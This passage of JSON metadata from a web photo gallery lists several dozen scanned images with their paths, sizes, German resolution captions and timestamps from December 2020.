    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516223_0001.jpg","dates":{"dateTaken":1608392744},"fileDate":"2020-12-19T16:45:44.812Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:44.812Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516231_0001.jpg","image":{"path":"slides\/S22C-620121516231_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516231 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516231_0001.jpg","width":340,"height":260},"fileSize":193301,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516231_0001.jpg","dates":{"dateTaken":1608392747},"fileDate":"2020-12-19T16:45:47.145Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:47.145Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516232_0001.jpg","image":{"path":"slides\/S22C-620121516232_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516232 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516232_0001.jpg","width":340,"height":260},"fileSize":473873,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516232_0001.jpg","dates":{"dateTaken":1608392748},"fileDate":"2020-12-19T16:45:48.506Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:48.506Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516233_0001.jpg","image":{"path":"slides\/S22C-620121516233_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516233 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516233_0001.jpg","width":340,"height":260},"fileSize":355850,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516233_0001.jpg","dates":{"dateTaken":1608392750},"fileDate":"2020-12-19T16:45:50.176Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:50.176Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516240_0001.jpg","image":{"path":"slides\/S22C-620121516240_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516240 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516240_0001.jpg","width":340,"height":260},"fileSize":448830,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516240_0001.jpg","dates":{"dateTaken":1608392751},"fileDate":"2020-12-19T16:45:51.571Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:51.571Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516241_0001.jpg","image":{"path":"slides\/S22C-620121516241_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516241 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516241_0001.jpg","width":340,"height":260},"fileSize":382020,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516241_0001.jpg","dates":{"dateTaken":1608392752},"fileDate":"2020-12-19T16:45:52.483Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:52.483Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516242_0001.jpg","image":{"path":"slides\/S22C-620121516242_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516242 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516242_0001.jpg","width":340,"height":260},"fileSize":575994,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516242_0001.jpg","dates":{"dateTaken":1608392753},"fileDate":"2020-12-19T16:45:53.867Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:53.867Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516243_0001.jpg","image":{"path":"slides\/S22C-620121516243_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516243 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516243_0001.jpg","width":340,"height":260},"fileSize":307900,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516243_0001.jpg","dates":{"dateTaken":1608392754},"fileDate":"2020-12-19T16:45:54.895Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:54.895Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516250_0001.jpg","image":{"path":"slides\/S22C-620121516250_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516250 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516250_0001.jpg","width":340,"height":260},"fileSize":440361,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516250_0001.jpg","dates":{"dateTaken":1608392755},"fileDate":"2020-12-19T16:45:55.794Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:55.794Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516251_0001.jpg","image":{"path":"slides\/S22C-620121516251_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516251 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516251_0001.jpg","width":340,"height":260},"fileSize":351688,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516251_0001.jpg","dates":{"dateTaken":1608392756},"fileDate":"2020-12-19T16:45:56.712Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:56.712Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516252_0001.jpg","image":{"path":"slides\/S22C-620121516252_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516252 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516252_0001.jpg","width":340,"height":260},"fileSize":474915,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516252_0001.jpg","dates":{"dateTaken":1608392757},"fileDate":"2020-12-19T16:45:57.653Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:57.653Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516253_0001.jpg","image":{"path":"slides\/S22C-620121516253_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516253 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516253_0001.jpg","width":340,"height":260},"fileSize":473454,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516253_0001.jpg","dates":{"dateTaken":1608392758},"fileDate":"2020-12-19T16:45:58.511Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:58.511Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516254_0001.jpg","image":{"path":"slides\/S22C-620121516254_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516254 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516254_0001.jpg","width":340,"height":260},"fileSize":641012,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516254_0001.jpg","dates":{"dateTaken":1608392759},"fileDate":"2020-12-19T16:45:59.908Z","category":"image","camera":{"originalDate":"2020-12-19T16:45:59.908Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516260_0001.jpg","image":{"path":"slides\/S22C-620121516260_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516260 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516260_0001.jpg","width":340,"height":260},"fileSize":418685,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516260_0001.jpg","dates":{"dateTaken":1608392761},"fileDate":"2020-12-19T16:46:01.141Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:01.141Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516261_0001.jpg","image":{"path":"slides\/S22C-620121516261_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516261 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516261_0001.jpg","width":340,"height":260},"fileSize":345811,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516261_0001.jpg","dates":{"dateTaken":1608392762},"fileDate":"2020-12-19T16:46:02.197Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:02.197Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516263_0001.jpg","image":{"path":"slides\/S22C-620121516263_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516263 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516263_0001.jpg","width":340,"height":260},"fileSize":268385,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516263_0001.jpg","dates":{"dateTaken":1608392764},"fileDate":"2020-12-19T16:46:04.456Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:04.456Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516270_0001.jpg","image":{"path":"slides\/S22C-620121516270_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516270 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516270_0001.jpg","width":340,"height":260},"fileSize":569818,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516270_0001.jpg","dates":{"dateTaken":1608392769},"fileDate":"2020-12-19T16:46:09.329Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:09.329Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516271_0001.jpg","image":{"path":"slides\/S22C-620121516271_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516271 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516271_0001.jpg","width":340,"height":260},"fileSize":330556,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516271_0001.jpg","dates":{"dateTaken":1608392770},"fileDate":"2020-12-19T16:46:10.764Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:10.764Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516272_0001.jpg","image":{"path":"slides\/S22C-620121516272_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516272 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516272_0001.jpg","width":340,"height":260},"fileSize":480835,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516272_0001.jpg","dates":{"dateTaken":1608392771},"fileDate":"2020-12-19T16:46:11.895Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:11.895Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516280_0001.jpg","image":{"path":"slides\/S22C-620121516280_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516280 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516280_0001.jpg","width":340,"height":260},"fileSize":341750,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516280_0001.jpg","dates":{"dateTaken":1608392772},"fileDate":"2020-12-19T16:46:12.894Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:12.894Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516320_0001.jpg","image":{"path":"slides\/S22C-620121516320_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516320 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516320_0001.jpg","width":340,"height":260},"fileSize":594991,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516320_0001.jpg","dates":{"dateTaken":1608392773},"fileDate":"2020-12-19T16:46:13.874Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:13.874Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516321_0001.jpg","image":{"path":"slides\/S22C-620121516321_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516321 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516321_0001.jpg","width":340,"height":260},"fileSize":365284,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516321_0001.jpg","dates":{"dateTaken":1608392775},"fileDate":"2020-12-19T16:46:15.614Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:15.614Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516322_0001.jpg","image":{"path":"slides\/S22C-620121516322_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516322 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516322_0001.jpg","width":340,"height":260},"fileSize":524721,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516322_0001.jpg","dates":{"dateTaken":1608392776},"fileDate":"2020-12-19T16:46:16.807Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:16.807Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516330_0001.jpg","image":{"path":"slides\/S22C-620121516330_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516330 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516330_0001.jpg","width":340,"height":260},"fileSize":447710,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516330_0001.jpg","dates":{"dateTaken":1608392777},"fileDate":"2020-12-19T16:46:17.883Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:17.883Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516340_0001.jpg","image":{"path":"slides\/S22C-620121516340_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516340_0001.jpg","width":340,"height":260},"fileSize":242684,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516340_0001.jpg","dates":{"dateTaken":1608392779},"fileDate":"2020-12-19T16:46:19.900Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:19.900Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516341_0001.jpg","image":{"path":"slides\/S22C-620121516341_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516341 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516341_0001.jpg","width":340,"height":260},"fileSize":345761,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516341_0001.jpg","dates":{"dateTaken":1608392781},"fileDate":"2020-12-19T16:46:21.890Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:21.890Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516342_0001.jpg","image":{"path":"slides\/S22C-620121516342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516342_0001.jpg","width":340,"height":260},"fileSize":635782,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516342_0001.jpg","dates":{"dateTaken":1608392783},"fileDate":"2020-12-19T16:46:23.363Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:23.363Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516343_0001.jpg","image":{"path":"slides\/S22C-620121516343_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516343 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516343_0001.jpg","width":340,"height":260},"fileSize":317842,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516343_0001.jpg","dates":{"dateTaken":1608392784},"fileDate":"2020-12-19T16:46:24.390Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:24.390Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516350_0001.jpg","image":{"path":"slides\/S22C-620121516350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516350_0001.jpg","width":340,"height":260},"fileSize":656675,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516350_0001.jpg","dates":{"dateTaken":1608392785},"fileDate":"2020-12-19T16:46:25.351Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:25.351Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516351_0001.jpg","image":{"path":"slides\/S22C-620121516351_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516351_0001.jpg","width":340,"height":260},"fileSize":376182,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516351_0001.jpg","dates":{"dateTaken":1608392787},"fileDate":"2020-12-19T16:46:27.372Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:27.372Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516353_0001.jpg","image":{"path":"slides\/S22C-620121516353_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516353 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516353_0001.jpg","width":340,"height":260},"fileSize":484745,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516353_0001.jpg","dates":{"dateTaken":1608392789},"fileDate":"2020-12-19T16:46:29.678Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:29.678Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516354_0001.jpg","image":{"path":"slides\/S22C-620121516354_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516354 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516354_0001.jpg","width":340,"height":260},"fileSize":600164,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516354_0001.jpg","dates":{"dateTaken":1608392790},"fileDate":"2020-12-19T16:46:30.820Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:30.820Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516360_0001.jpg","image":{"path":"slides\/S22C-620121516360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516360_0001.jpg","width":340,"height":260},"fileSize":702781,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516360_0001.jpg","dates":{"dateTaken":1608392791},"fileDate":"2020-12-19T16:46:31.978Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:31.978Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516361_0001.jpg","image":{"path":"slides\/S22C-620121516361_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516361 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516361_0001.jpg","width":340,"height":260},"fileSize":314965,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516361_0001.jpg","dates":{"dateTaken":1608392792},"fileDate":"2020-12-19T16:46:32.962Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:32.962Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516362_0001.jpg","image":{"path":"slides\/S22C-620121516362_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516362 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516362_0001.jpg","width":340,"height":260},"fileSize":146669,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516362_0001.jpg","dates":{"dateTaken":1608392793},"fileDate":"2020-12-19T16:46:33.919Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:33.919Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516363_0001.jpg","image":{"path":"slides\/S22C-620121516363_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516363 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516363_0001.jpg","width":340,"height":260},"fileSize":837967,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516363_0001.jpg","dates":{"dateTaken":1608392796},"fileDate":"2020-12-19T16:46:36.534Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:36.534Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516364_0001.jpg","image":{"path":"slides\/S22C-620121516364_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516364 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516364_0001.jpg","width":340,"height":260},"fileSize":262757,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516364_0001.jpg","dates":{"dateTaken":1608392797},"fileDate":"2020-12-19T16:46:37.708Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:37.708Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516370_0001.jpg","image":{"path":"slides\/S22C-620121516370_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516370 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516370_0001.jpg","width":340,"height":260},"fileSize":343219,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516370_0001.jpg","dates":{"dateTaken":1608392798},"fileDate":"2020-12-19T16:46:38.821Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:38.821Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516371_0001.jpg","image":{"path":"slides\/S22C-620121516371_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516371 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516371_0001.jpg","width":340,"height":260},"fileSize":431725,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516371_0001.jpg","dates":{"dateTaken":1608392799},"fileDate":"2020-12-19T16:46:39.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:39.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516372_0001.jpg","image":{"path":"slides\/S22C-620121516372_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516372 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516372_0001.jpg","width":340,"height":260},"fileSize":481776,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516372_0001.jpg","dates":{"dateTaken":1608392800},"fileDate":"2020-12-19T16:46:40.703Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:40.703Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516373_0001.jpg","image":{"path":"slides\/S22C-620121516373_0001.jpg","width":567,"height":800},"imageCaption":"

    S22C-620121516373 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516373_0001.jpg","width":340,"height":260},"fileSize":310723,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121516373_0001.jpg","dates":{"dateTaken":1608392803},"fileDate":"2020-12-19T16:46:43.264Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:43.264Z","resolution":"1433 x 2023"}},{"path":"S22C-620121516374_0001.jpg","image":{"path":"slides\/S22C-620121516374_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516374 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516374_0001.jpg","width":340,"height":260},"fileSize":290629,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516374_0001.jpg","dates":{"dateTaken":1608392804},"fileDate":"2020-12-19T16:46:44.922Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:44.922Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516380_0001.jpg","image":{"path":"slides\/S22C-620121516380_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516380 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516380_0001.jpg","width":340,"height":260},"fileSize":474298,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516380_0001.jpg","dates":{"dateTaken":1608392806},"fileDate":"2020-12-19T16:46:46.102Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:46.102Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516381_0001.jpg","image":{"path":"slides\/S22C-620121516381_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516381 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516381_0001.jpg","width":340,"height":260},"fileSize":115519,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516381_0001.jpg","dates":{"dateTaken":1608392807},"fileDate":"2020-12-19T16:46:47.166Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:47.166Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516382_0001.jpg","image":{"path":"slides\/S22C-620121516382_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516382 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516382_0001.jpg","width":340,"height":260},"fileSize":144424,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516382_0001.jpg","dates":{"dateTaken":1608392808},"fileDate":"2020-12-19T16:46:48.2Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:48.2Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516390_0001.jpg","image":{"path":"slides\/S22C-620121516390_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516390 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516390_0001.jpg","width":340,"height":260},"fileSize":428171,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516390_0001.jpg","dates":{"dateTaken":1608392809},"fileDate":"2020-12-19T16:46:49.18Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:49.18Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516392_0001.jpg","image":{"path":"slides\/S22C-620121516392_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516392 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516392_0001.jpg","width":340,"height":260},"fileSize":565659,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516392_0001.jpg","dates":{"dateTaken":1608392809},"fileDate":"2020-12-19T16:46:49.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:49.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516400_0001.jpg","image":{"path":"slides\/S22C-620121516400_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516400 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516400_0001.jpg","width":340,"height":260},"fileSize":513099,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516400_0001.jpg","dates":{"dateTaken":1608392810},"fileDate":"2020-12-19T16:46:50.550Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:50.550Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516401_0001.jpg","image":{"path":"slides\/S22C-620121516401_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516401 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516401_0001.jpg","width":340,"height":260},"fileSize":452762,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516401_0001.jpg","dates":{"dateTaken":1608392811},"fileDate":"2020-12-19T16:46:51.247Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:51.247Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516410_0001.jpg","image":{"path":"slides\/S22C-620121516410_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516410 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516410_0001.jpg","width":340,"height":260},"fileSize":764789,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516410_0001.jpg","dates":{"dateTaken":1608392811},"fileDate":"2020-12-19T16:46:51.893Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:51.893Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516411_0001.jpg","image":{"path":"slides\/S22C-620121516411_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516411 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516411_0001.jpg","width":340,"height":260},"fileSize":677735,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516411_0001.jpg","dates":{"dateTaken":1608392812},"fileDate":"2020-12-19T16:46:52.575Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:52.575Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516412_0001.jpg","image":{"path":"slides\/S22C-620121516412_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516412 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516412_0001.jpg","width":340,"height":260},"fileSize":285430,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516412_0001.jpg","dates":{"dateTaken":1608392813},"fileDate":"2020-12-19T16:46:53.301Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:53.301Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516413_0001.jpg","image":{"path":"slides\/S22C-620121516413_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516413 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516413_0001.jpg","width":340,"height":260},"fileSize":167987,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516413_0001.jpg","dates":{"dateTaken":1608392814},"fileDate":"2020-12-19T16:46:54.671Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:54.671Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516414_0001.jpg","image":{"path":"slides\/S22C-620121516414_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516414 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516414_0001.jpg","width":340,"height":260},"fileSize":243877,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516414_0001.jpg","dates":{"dateTaken":1608392815},"fileDate":"2020-12-19T16:46:55.835Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:55.835Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516420_0001.jpg","image":{"path":"slides\/S22C-620121516420_0001.jpg","width":1000,"height":707},"imageCaption":"

